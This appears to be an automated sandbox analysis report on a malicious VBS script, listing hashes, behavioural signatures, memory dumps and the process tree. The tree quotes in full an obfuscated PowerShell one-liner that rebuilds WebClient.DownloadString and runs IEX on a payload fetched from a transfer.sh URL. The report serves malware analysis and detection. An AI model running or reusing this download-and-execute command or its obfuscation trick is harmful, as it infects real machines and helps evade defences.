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Analysis

  • max time kernel
    121s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    04/02/2024, 04:57

General

  • Target

    8e44eb8b76e7cfe54abc30226f76b61f.vbs

  • Size

    950B

  • MD5

    8e44eb8b76e7cfe54abc30226f76b61f

  • SHA1

    84bb3650430163978ef1918ba6edaee9a7705389

  • SHA256

    9d8af568b0657ff10c735bce816033ce6f844aed1879f94ab6e1fee8a8da3677

  • SHA512

    22bef15c37064a79bcaaca8648b7b52c221fb25b51473a52bf2ec5804c7f2927733183a9e676572b749bef073c733b47cbc08a1c23e462da879b671923c5bc0c

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://transfer.sh/1kqpOIu/bypass.txt

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8e44eb8b76e7cfe54abc30226f76b61f.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2060
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'https://transfer.sh/1kqpOIu/bypass.txt';$EDRFGHNJMKDEFGHJ = 'nE----------------EbC++++++++++++++++T'.Replace('----------------','t.W').Replace('++++++++++++++++','lIEN');$SXDCFVGBHNJXDCFVGBHJK = 'DO*************aDST<<<<<<<<<>>>>>>>>>>>G'.Replace('*************','WnLo').Replace('<<<<<<<<<>>>>>>>>>>>','rIn');$SWXDECRFGYHUJISDFVGHJ ='I`EX(n`-------------`c`T $EDRFGHNJMKD<<<<<<<<<<<<<<>>>>>>>>>>>>>>GBHNJSDFGH)'.Replace('-------------','e`W`-Obj`E').Replace('<<<<<<<<<<<<<<>>>>>>>>>>>>>>','EFGHJ).$SXDCFVGBHNJXDCFVGBHJK($SZXDCFV');&('I'+'EX')($SWXDECRFGYHUJISDFVGHJ -Join '')|&('I'+'EX');
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3024

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/3024-4-0x000000001B0B0000-0x000000001B392000-memory.dmp

    Filesize

    2.9MB

  • memory/3024-5-0x00000000023A0000-0x00000000023A8000-memory.dmp

    Filesize

    32KB

  • memory/3024-6-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

    Filesize

    9.6MB

  • memory/3024-7-0x00000000024A0000-0x0000000002520000-memory.dmp

    Filesize

    512KB

  • memory/3024-8-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

    Filesize

    9.6MB

  • memory/3024-9-0x00000000024A0000-0x0000000002520000-memory.dmp

    Filesize

    512KB

  • memory/3024-10-0x00000000024A0000-0x0000000002520000-memory.dmp

    Filesize

    512KB

  • memory/3024-11-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

    Filesize

    9.6MB